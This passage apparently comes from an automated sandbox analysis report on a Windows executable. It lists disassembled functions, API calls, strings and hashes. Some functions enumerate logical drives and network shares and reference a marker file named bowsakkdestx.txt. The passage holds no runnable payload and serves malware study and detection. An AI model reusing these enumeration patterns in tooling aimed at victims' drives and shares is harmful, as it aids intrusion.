Part of subcall function 00427D6C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004326B3
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004326C7
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004326DA
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004326ED
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00432700
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00432713
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00432726
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00432739
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0043274C
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0043275F
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00432772
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00432785
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00432798
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004327AB
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004327BE
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 004327D1

__mtinitlocks.LIBCMT ref: 00425146
__mtterm.LIBCMT ref: 0042514F

Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B62
Part of subcall function 004251B7: _free.LIBCMT ref: 00428B69
Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(0050AC00,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B8B

__calloc_crt.LIBCMT ref: 00425174
__initptd.LIBCMT ref: 00425196
GetCurrentThreadId.KERNEL32 ref: 0042519D

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction ID: 366d1241f395ce705af539ece55ec53f654f371a685379b5f067519d47a60e56
Opcode Fuzzy Hash: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction Fuzzy Hash: 75F0CD32B4AB712DE2343AB67D03B6B2680AF00738BA1061FF064C42D1EF388401455C

Function 004253AE Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042594A

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

_free.LIBCMT ref: 00425970

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

__lock.LIBCMT ref: 00425989
___removelocaleref.LIBCMT ref: 00425998
___freetlocinfo.LIBCMT ref: 004259B1
_free.LIBCMT ref: 004259C4

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 626533743-0
Opcode ID: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction ID: 81c7b0a8007453265eca5a285afc690957d7e654b57493ebbede42104a270bc8
Opcode Fuzzy Hash: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction Fuzzy Hash: E801A1B1702B20E6DB34AB69F446B1E76A0AF10739FE0424FE0645A1D5CFBD99C0CA5D

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

func(%lu), xrefs: 00450734
lib(%lu), xrefs: 0045071C
reason(%lu), xrefs: 00450758
error:%08lX:%s:%s:%s, xrefs: 00450792

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D
.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Function 004C5D39 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(?,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__get_sys_err_msg.LIBCMT ref: 004C5DCD

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 3123740607-798102604
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084
phrase is too short, needs to be at least %d chars, xrefs: 00463070
.\crypto\pem\pem_lib.c, xrefs: 00463097

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszWindowClass, xrefs: 0041BAA0
LPCWSTRszTitle, xrefs: 0041BA9B

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,?,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000,?,?), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Function 004416EB Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__lock_strlen_strnlen
String ID:
API String ID: 2168648987-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006E0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: d70b67a4a7fe440acc7419d06ec2b6f75a63a325c355f2e5d89529d3462600c6
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: d70b67a4a7fe440acc7419d06ec2b6f75a63a325c355f2e5d89529d3462600c6
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

invalid string position, xrefs: 00417D2C
string too long, xrefs: 00417D36

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

invalid string position, xrefs: 00414260
string too long, xrefs: 00414256

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Function 00425341 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 00425354

Strings

